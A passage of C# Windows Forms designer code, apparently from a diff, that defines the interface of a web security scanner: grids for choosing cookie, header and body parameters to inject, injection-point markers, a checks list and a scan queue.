INJECT"; - this.ASRequestBodyValueColumn.Name = "ASRequestBodyValueColumn"; - this.ASRequestBodyValueColumn.ReadOnly = true; - this.ASRequestBodyValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestScanBodyXMLTab - // - this.ASRequestScanBodyXMLTab.Controls.Add(this.ConfigureScanRequestFormatXMLTB); - this.ASRequestScanBodyXMLTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestScanBodyXMLTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanBodyXMLTab.Name = "ASRequestScanBodyXMLTab"; - this.ASRequestScanBodyXMLTab.Size = new System.Drawing.Size(428, 129); - this.ASRequestScanBodyXMLTab.TabIndex = 1; - this.ASRequestScanBodyXMLTab.Text = "Normalized XML from Body Data (for reference)"; - this.ASRequestScanBodyXMLTab.UseVisualStyleBackColor = true; - // - // ConfigureScanRequestFormatXMLTB - // - this.ConfigureScanRequestFormatXMLTB.BackColor = System.Drawing.SystemColors.Window; - this.ConfigureScanRequestFormatXMLTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ConfigureScanRequestFormatXMLTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ConfigureScanRequestFormatXMLTB.Location = new System.Drawing.Point(0, 0); - this.ConfigureScanRequestFormatXMLTB.Margin = new System.Windows.Forms.Padding(0); - this.ConfigureScanRequestFormatXMLTB.MaxLength = 2147483647; - this.ConfigureScanRequestFormatXMLTB.Multiline = true; - this.ConfigureScanRequestFormatXMLTB.Name = "ConfigureScanRequestFormatXMLTB"; - this.ConfigureScanRequestFormatXMLTB.ReadOnly = true; - this.ConfigureScanRequestFormatXMLTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigureScanRequestFormatXMLTB.Size = new System.Drawing.Size(428, 129); - this.ConfigureScanRequestFormatXMLTB.TabIndex = 0; - // - // ASBodyTypeCustomTab - // - this.ASBodyTypeCustomTab.Controls.Add(this.ASRequestCustomInjectionPointsHighlightTB); - this.ASBodyTypeCustomTab.Controls.Add(this.ASRequestCustomInjectionPointsHighlightLbl); - this.ASBodyTypeCustomTab.Controls.Add(this.label37); - this.ASBodyTypeCustomTab.Controls.Add(this.ASCustomEndMarkerTB); - this.ASBodyTypeCustomTab.Controls.Add(this.ASCustomStartMarkerTB); - this.ASBodyTypeCustomTab.Controls.Add(this.label38); - this.ASBodyTypeCustomTab.Controls.Add(this.label39); - this.ASBodyTypeCustomTab.Location = new System.Drawing.Point(4, 22); - this.ASBodyTypeCustomTab.Name = "ASBodyTypeCustomTab"; - this.ASBodyTypeCustomTab.Size = new System.Drawing.Size(537, 155); - this.ASBodyTypeCustomTab.TabIndex = 2; - this.ASBodyTypeCustomTab.Text = "Custom Format"; - this.ASBodyTypeCustomTab.UseVisualStyleBackColor = true; - // - // ASRequestCustomInjectionPointsHighlightTB - // - this.ASRequestCustomInjectionPointsHighlightTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASRequestCustomInjectionPointsHighlightTB.BackColor = System.Drawing.Color.White; - this.ASRequestCustomInjectionPointsHighlightTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ASRequestCustomInjectionPointsHighlightTB.Location = new System.Drawing.Point(0, 0); - this.ASRequestCustomInjectionPointsHighlightTB.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestCustomInjectionPointsHighlightTB.Name = "ASRequestCustomInjectionPointsHighlightTB"; - this.ASRequestCustomInjectionPointsHighlightTB.ReadOnly = true; - this.ASRequestCustomInjectionPointsHighlightTB.Size = new System.Drawing.Size(537, 129); - this.ASRequestCustomInjectionPointsHighlightTB.TabIndex = 0; - this.ASRequestCustomInjectionPointsHighlightTB.Text = ""; - // - // ASRequestCustomInjectionPointsHighlightLbl - // - this.ASRequestCustomInjectionPointsHighlightLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ASRequestCustomInjectionPointsHighlightLbl.AutoSize = true; - this.ASRequestCustomInjectionPointsHighlightLbl.ForeColor = System.Drawing.Color.Blue; - this.ASRequestCustomInjectionPointsHighlightLbl.Location = new System.Drawing.Point(375, 135); - this.ASRequestCustomInjectionPointsHighlightLbl.Name = "ASRequestCustomInjectionPointsHighlightLbl"; - this.ASRequestCustomInjectionPointsHighlightLbl.Size = new System.Drawing.Size(126, 13); - this.ASRequestCustomInjectionPointsHighlightLbl.TabIndex = 1; - this.ASRequestCustomInjectionPointsHighlightLbl.Text = "No. of Injection Points : 0"; - // - // label37 - // - this.label37.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label37.AutoSize = true; - this.label37.Location = new System.Drawing.Point(6, 135); - this.label37.Name = "label37"; - this.label37.Size = new System.Drawing.Size(118, 13); - this.label37.TabIndex = 3; - this.label37.Text = "Injection Point Markers:"; - // - // ASCustomEndMarkerTB - // - this.ASCustomEndMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ASCustomEndMarkerTB.BackColor = System.Drawing.Color.White; - this.ASCustomEndMarkerTB.Location = new System.Drawing.Point(325, 132); - this.ASCustomEndMarkerTB.Name = "ASCustomEndMarkerTB"; - this.ASCustomEndMarkerTB.ReadOnly = true; - this.ASCustomEndMarkerTB.Size = new System.Drawing.Size(45, 20); - this.ASCustomEndMarkerTB.TabIndex = 7; - this.ASCustomEndMarkerTB.Text = "<<--->>"; - // - // ASCustomStartMarkerTB - // - this.ASCustomStartMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.ASCustomStartMarkerTB.BackColor = System.Drawing.Color.White; - this.ASCustomStartMarkerTB.Location = new System.Drawing.Point(201, 132); - this.ASCustomStartMarkerTB.Name = "ASCustomStartMarkerTB"; - this.ASCustomStartMarkerTB.ReadOnly = true; - this.ASCustomStartMarkerTB.Size = new System.Drawing.Size(52, 20); - this.ASCustomStartMarkerTB.TabIndex = 5; - this.ASCustomStartMarkerTB.Text = "<<+++>>"; - // - // label38 - // - this.label38.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label38.AutoSize = true; - this.label38.Location = new System.Drawing.Point(130, 135); - this.label38.Margin = new System.Windows.Forms.Padding(0); - this.label38.Name = "label38"; - this.label38.Size = new System.Drawing.Size(68, 13); - this.label38.TabIndex = 4; - this.label38.Text = "Start Marker:"; - // - // label39 - // - this.label39.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); - this.label39.AutoSize = true; - this.label39.Location = new System.Drawing.Point(257, 135); - this.label39.Margin = new System.Windows.Forms.Padding(0); - this.label39.Name = "label39"; - this.label39.Size = new System.Drawing.Size(65, 13); - this.label39.TabIndex = 6; - this.label39.Text = "End Marker:"; - // - // ASRequestCookieTab - // - this.ASRequestCookieTab.Controls.Add(this.ASRequestScanCookieGrid); - this.ASRequestCookieTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestCookieTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestCookieTab.Name = "ASRequestCookieTab"; - this.ASRequestCookieTab.Size = new System.Drawing.Size(545, 181); - this.ASRequestCookieTab.TabIndex = 3; - this.ASRequestCookieTab.Text = "Cookie"; - this.ASRequestCookieTab.UseVisualStyleBackColor = true; - // - // ASRequestScanCookieGrid - // - this.ASRequestScanCookieGrid.AllowUserToAddRows = false; - this.ASRequestScanCookieGrid.AllowUserToDeleteRows = false; - this.ASRequestScanCookieGrid.AllowUserToResizeRows = false; - this.ASRequestScanCookieGrid.BackgroundColor = System.Drawing.Color.White; - this.ASRequestScanCookieGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ASRequestScanCookieGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ASRequestScanCookieGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestCookieSelectColumn, - this.ASRequestCookieNameColumn, - this.ASRequestCookieValueColumn}); - this.ASRequestScanCookieGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestScanCookieGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ASRequestScanCookieGrid.GridColor = System.Drawing.Color.White; - this.ASRequestScanCookieGrid.Location = new System.Drawing.Point(0, 0); - this.ASRequestScanCookieGrid.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanCookieGrid.Name = "ASRequestScanCookieGrid"; - this.ASRequestScanCookieGrid.RowHeadersVisible = false; - this.ASRequestScanCookieGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ASRequestScanCookieGrid.Size = new System.Drawing.Size(545, 181); - this.ASRequestScanCookieGrid.TabIndex = 2; - // - // ASRequestCookieSelectColumn - // - this.ASRequestCookieSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestCookieSelectColumn.HeaderText = "INJECT"; - this.ASRequestCookieSelectColumn.Name = "ASRequestCookieSelectColumn"; - this.ASRequestCookieSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestCookieSelectColumn.Width = 55; - // - // ASRequestCookieNameColumn - // - this.ASRequestCookieNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestCookieNameColumn.HeaderText = "PARAMETER NAME"; - this.ASRequestCookieNameColumn.Name = "ASRequestCookieNameColumn"; - this.ASRequestCookieNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestCookieValueColumn - // - this.ASRequestCookieValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestCookieValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestCookieValueColumn.Name = "ASRequestCookieValueColumn"; - this.ASRequestCookieValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestHeadersTab - // - this.ASRequestHeadersTab.Controls.Add(this.ASRequestScanHeadersGrid); - this.ASRequestHeadersTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestHeadersTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestHeadersTab.Name = "ASRequestHeadersTab"; - this.ASRequestHeadersTab.Size = new System.Drawing.Size(545, 181); - this.ASRequestHeadersTab.TabIndex = 4; - this.ASRequestHeadersTab.Text = "Headers"; - this.ASRequestHeadersTab.UseVisualStyleBackColor = true; - // - // ASRequestScanHeadersGrid - // - this.ASRequestScanHeadersGrid.AllowUserToAddRows = false; - this.ASRequestScanHeadersGrid.AllowUserToDeleteRows = false; - this.ASRequestScanHeadersGrid.AllowUserToResizeRows = false; - this.ASRequestScanHeadersGrid.BackgroundColor = System.Drawing.Color.White; - this.ASRequestScanHeadersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ASRequestScanHeadersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ASRequestScanHeadersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestHeadersSelectColumn, - this.ASRequestHeadersNameColumn, - this.ASRequestHeadersValueColumn}); - this.ASRequestScanHeadersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestScanHeadersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ASRequestScanHeadersGrid.GridColor = System.Drawing.Color.White; - this.ASRequestScanHeadersGrid.Location = new System.Drawing.Point(0, 0); - this.ASRequestScanHeadersGrid.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestScanHeadersGrid.Name = "ASRequestScanHeadersGrid"; - this.ASRequestScanHeadersGrid.RowHeadersVisible = false; - this.ASRequestScanHeadersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ASRequestScanHeadersGrid.Size = new System.Drawing.Size(545, 181); - this.ASRequestScanHeadersGrid.TabIndex = 3; - // - // ASRequestHeadersSelectColumn - // - this.ASRequestHeadersSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestHeadersSelectColumn.HeaderText = "INJECT"; - this.ASRequestHeadersSelectColumn.Name = "ASRequestHeadersSelectColumn"; - this.ASRequestHeadersSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestHeadersSelectColumn.Width = 55; - // - // ASRequestHeadersNameColumn - // - this.ASRequestHeadersNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestHeadersNameColumn.HeaderText = "PARAMETER NAME"; - this.ASRequestHeadersNameColumn.Name = "ASRequestHeadersNameColumn"; - this.ASRequestHeadersNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestHeadersValueColumn - // - this.ASRequestHeadersValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestHeadersValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestHeadersValueColumn.Name = "ASRequestHeadersValueColumn"; - this.ASRequestHeadersValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestParameterNamesTab - // - this.ASRequestParameterNamesTab.Controls.Add(this.textBox1); - this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanHeadersParameterNameCB); - this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanCookieParameterNameCB); - this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanBodyParameterNameCB); - this.ASRequestParameterNamesTab.Controls.Add(this.ASRequestScanQueryParameterNameCB); - this.ASRequestParameterNamesTab.Location = new System.Drawing.Point(4, 22); - this.ASRequestParameterNamesTab.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestParameterNamesTab.Name = "ASRequestParameterNamesTab"; - this.ASRequestParameterNamesTab.Size = new System.Drawing.Size(545, 181); - this.ASRequestParameterNamesTab.TabIndex = 5; - this.ASRequestParameterNamesTab.Text = "Names"; - this.ASRequestParameterNamesTab.UseVisualStyleBackColor = true; - // - // textBox1 - // - this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox1.BackColor = System.Drawing.Color.White; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(7, 7); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(531, 68); - this.textBox1.TabIndex = 5; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // ASRequestScanHeadersParameterNameCB - // - this.ASRequestScanHeadersParameterNameCB.AutoSize = true; - this.ASRequestScanHeadersParameterNameCB.Enabled = false; - this.ASRequestScanHeadersParameterNameCB.Location = new System.Drawing.Point(20, 156); - this.ASRequestScanHeadersParameterNameCB.Name = "ASRequestScanHeadersParameterNameCB"; - this.ASRequestScanHeadersParameterNameCB.Size = new System.Drawing.Size(148, 17); - this.ASRequestScanHeadersParameterNameCB.TabIndex = 4; - this.ASRequestScanHeadersParameterNameCB.Text = "Headers Parameter Name"; - this.ASRequestScanHeadersParameterNameCB.UseVisualStyleBackColor = true; - // - // ASRequestScanCookieParameterNameCB - // - this.ASRequestScanCookieParameterNameCB.AutoSize = true; - this.ASRequestScanCookieParameterNameCB.Enabled = false; - this.ASRequestScanCookieParameterNameCB.Location = new System.Drawing.Point(20, 133); - this.ASRequestScanCookieParameterNameCB.Name = "ASRequestScanCookieParameterNameCB"; - this.ASRequestScanCookieParameterNameCB.Size = new System.Drawing.Size(141, 17); - this.ASRequestScanCookieParameterNameCB.TabIndex = 3; - this.ASRequestScanCookieParameterNameCB.Text = "Cookie Parameter Name"; - this.ASRequestScanCookieParameterNameCB.UseVisualStyleBackColor = true; - // - // ASRequestScanBodyParameterNameCB - // - this.ASRequestScanBodyParameterNameCB.AutoSize = true; - this.ASRequestScanBodyParameterNameCB.Enabled = false; - this.ASRequestScanBodyParameterNameCB.Location = new System.Drawing.Point(20, 110); - this.ASRequestScanBodyParameterNameCB.Name = "ASRequestScanBodyParameterNameCB"; - this.ASRequestScanBodyParameterNameCB.Size = new System.Drawing.Size(132, 17); - this.ASRequestScanBodyParameterNameCB.TabIndex = 2; - this.ASRequestScanBodyParameterNameCB.Text = "Body Parameter Name"; - this.ASRequestScanBodyParameterNameCB.UseVisualStyleBackColor = true; - // - // ASRequestScanQueryParameterNameCB - // - this.ASRequestScanQueryParameterNameCB.AutoSize = true; - this.ASRequestScanQueryParameterNameCB.Enabled = false; - this.ASRequestScanQueryParameterNameCB.Location = new System.Drawing.Point(20, 87); - this.ASRequestScanQueryParameterNameCB.Name = "ASRequestScanQueryParameterNameCB"; - this.ASRequestScanQueryParameterNameCB.Size = new System.Drawing.Size(136, 17); - this.ASRequestScanQueryParameterNameCB.TabIndex = 1; - this.ASRequestScanQueryParameterNameCB.Text = "Query Parameter Name"; - this.ASRequestScanQueryParameterNameCB.UseVisualStyleBackColor = true; - // - // ASExceptionTB - // - this.ASExceptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASExceptionTB.BackColor = System.Drawing.SystemColors.Window; - this.ASExceptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ASExceptionTB.ForeColor = System.Drawing.Color.Red; - this.ASExceptionTB.Location = new System.Drawing.Point(69, 28); - this.ASExceptionTB.Name = "ASExceptionTB"; - this.ASExceptionTB.ReadOnly = true; - this.ASExceptionTB.Size = new System.Drawing.Size(491, 13); - this.ASExceptionTB.TabIndex = 8; - this.ASExceptionTB.Visible = false; - // - // SessionPluginLbl - // - this.SessionPluginLbl.AutoSize = true; - this.SessionPluginLbl.Location = new System.Drawing.Point(301, 6); - this.SessionPluginLbl.Name = "SessionPluginLbl"; - this.SessionPluginLbl.Size = new System.Drawing.Size(79, 13); - this.SessionPluginLbl.TabIndex = 15; - this.SessionPluginLbl.Text = "Session Plugin:"; - // - // ASScanPluginsGrid - // - this.ASScanPluginsGrid.AllowUserToAddRows = false; - this.ASScanPluginsGrid.AllowUserToDeleteRows = false; - this.ASScanPluginsGrid.AllowUserToResizeRows = false; - this.ASScanPluginsGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Right))); - this.ASScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.ASScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ASScanPluginsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; - this.ASScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ASScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn9, - this.dataGridViewTextBoxColumn27}); - this.ASScanPluginsGrid.GridColor = System.Drawing.Color.White; - this.ASScanPluginsGrid.Location = new System.Drawing.Point(564, 68); - this.ASScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.ASScanPluginsGrid.Name = "ASScanPluginsGrid"; - this.ASScanPluginsGrid.ReadOnly = true; - this.ASScanPluginsGrid.RowHeadersVisible = false; - this.ASScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ASScanPluginsGrid.Size = new System.Drawing.Size(133, 221); - this.ASScanPluginsGrid.TabIndex = 5; - // - // dataGridViewCheckBoxColumn9 - // - this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn9.HeaderText = ""; - this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; - this.dataGridViewCheckBoxColumn9.ReadOnly = true; - this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn9.Width = 20; - // - // dataGridViewTextBoxColumn27 - // - this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn27.HeaderText = "CHECKS"; - this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; - this.dataGridViewTextBoxColumn27.ReadOnly = true; - this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ConfigureScanRequestSSLCB - // - this.ConfigureScanRequestSSLCB.AutoSize = true; - this.ConfigureScanRequestSSLCB.Enabled = false; - this.ConfigureScanRequestSSLCB.Location = new System.Drawing.Point(9, 27); - this.ConfigureScanRequestSSLCB.Name = "ConfigureScanRequestSSLCB"; - this.ConfigureScanRequestSSLCB.Size = new System.Drawing.Size(46, 17); - this.ConfigureScanRequestSSLCB.TabIndex = 11; - this.ConfigureScanRequestSSLCB.Text = "SSL"; - this.ConfigureScanRequestSSLCB.UseVisualStyleBackColor = true; - this.ConfigureScanRequestSSLCB.Click += new System.EventHandler(this.ConfigureScanRequestSSLCB_Click); - // - // ScanStatusLbl - // - this.ScanStatusLbl.AutoSize = true; - this.ScanStatusLbl.Location = new System.Drawing.Point(128, 6); - this.ScanStatusLbl.Name = "ScanStatusLbl"; - this.ScanStatusLbl.Size = new System.Drawing.Size(68, 13); - this.ScanStatusLbl.TabIndex = 10; - this.ScanStatusLbl.Text = "Scan Status:"; - // - // ASClearScanBtn - // - this.ASClearScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ASClearScanBtn.Location = new System.Drawing.Point(564, 36); - this.ASClearScanBtn.Name = "ASClearScanBtn"; - this.ASClearScanBtn.Size = new System.Drawing.Size(130, 29); - this.ASClearScanBtn.TabIndex = 14; - this.ASClearScanBtn.Text = "Clear"; - this.ASClearScanBtn.UseVisualStyleBackColor = true; - this.ASClearScanBtn.Click += new System.EventHandler(this.ASClearScanBtn_Click); - // - // ScanIDLbl - // - this.ScanIDLbl.AutoSize = true; - this.ScanIDLbl.Location = new System.Drawing.Point(5, 6); - this.ScanIDLbl.Name = "ScanIDLbl"; - this.ScanIDLbl.Size = new System.Drawing.Size(49, 13); - this.ScanIDLbl.TabIndex = 9; - this.ScanIDLbl.Text = "Scan ID:"; - // - // ASStartScanBtn - // - this.ASStartScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ASStartScanBtn.Location = new System.Drawing.Point(564, 3); - this.ASStartScanBtn.Name = "ASStartScanBtn"; - this.ASStartScanBtn.Size = new System.Drawing.Size(130, 29); - this.ASStartScanBtn.TabIndex = 2; - this.ASStartScanBtn.Text = "Start Scan"; - this.ASStartScanBtn.UseVisualStyleBackColor = true; - this.ASStartScanBtn.Click += new System.EventHandler(this.ASStartScanBtn_Click); - // - // ScanTopPanel - // - this.ScanTopPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ScanTopPanel.BackColor = System.Drawing.Color.LightSkyBlue; - this.ScanTopPanel.Controls.Add(this.textBox3); - this.ScanTopPanel.Location = new System.Drawing.Point(0, 0); - this.ScanTopPanel.Margin = new System.Windows.Forms.Padding(0); - this.ScanTopPanel.Name = "ScanTopPanel"; - this.ScanTopPanel.Size = new System.Drawing.Size(697, 60); - this.ScanTopPanel.TabIndex = 17; - // - // textBox3 - // - this.textBox3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox3.BackColor = System.Drawing.Color.LightSkyBlue; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.Location = new System.Drawing.Point(6, 5); - this.textBox3.Margin = new System.Windows.Forms.Padding(0); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(682, 55); - this.textBox3.TabIndex = 1; - this.textBox3.TabStop = false; - this.textBox3.Text = resources.GetString("textBox3.Text"); - // - // ScanJobsBottomSplit - // - this.ScanJobsBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanJobsBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; - this.ScanJobsBottomSplit.IsSplitterFixed = true; - this.ScanJobsBottomSplit.Location = new System.Drawing.Point(0, 0); - this.ScanJobsBottomSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScanJobsBottomSplit.Name = "ScanJobsBottomSplit"; - this.ScanJobsBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScanJobsBottomSplit.Panel1 - // - this.ScanJobsBottomSplit.Panel1.Controls.Add(this.ASQueueGrid); - // - // ScanJobsBottomSplit.Panel2 - // - this.ScanJobsBottomSplit.Panel2.Controls.Add(this.panel2); - this.ScanJobsBottomSplit.Size = new System.Drawing.Size(697, 194); - this.ScanJobsBottomSplit.SplitterDistance = 167; - this.ScanJobsBottomSplit.SplitterWidth = 2; - this.ScanJobsBottomSplit.TabIndex = 2; - // - // ASQueueGrid - // - this.ASQueueGrid.AllowUserToAddRows = false; - this.ASQueueGrid.AllowUserToDeleteRows = false; - this.ASQueueGrid.AllowUserToResizeRows = false; - this.ASQueueGrid.BackgroundColor = System.Drawing.Color.White; - this.ASQueueGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; - dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle2.SelectionForeColor = System.Drawing.Color.Blue; - dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.ASQueueGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; - this.ASQueueGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ASQueueGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASQueueGridScanID, - this.ASQueueGridStatus, - this.ASQueueGridMethod, - this.ASQueueGridURL}); - this.ASQueueGrid.ContextMenuStrip = this.ScanQueueMenu; - this.ASQueueGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASQueueGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ASQueueGrid.GridColor = System.Drawing.Color.White; - this.ASQueueGrid.Location = new System.Drawing.Point(0, 0); - this.ASQueueGrid.Margin = new System.Windows.Forms.Padding(0); - this.ASQueueGrid.MultiSelect = false; - this.ASQueueGrid.Name = "ASQueueGrid"; - this.ASQueueGrid.RowHeadersVisible = false; - this.ASQueueGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ASQueueGrid.ShowEditingIcon = false; - this.ASQueueGrid.Size = new System.Drawing.Size(697, 167); - this.ASQueueGrid.TabIndex = 0; - this.ASQueueGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ASQueueGrid_CellClick); - // - // ASQueueGridScanID - // - this.ASQueueGridScanID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASQueueGridScanID.HeaderText = "SCAN ID"; - this.ASQueueGridScanID.Name = "ASQueueGridScanID"; - 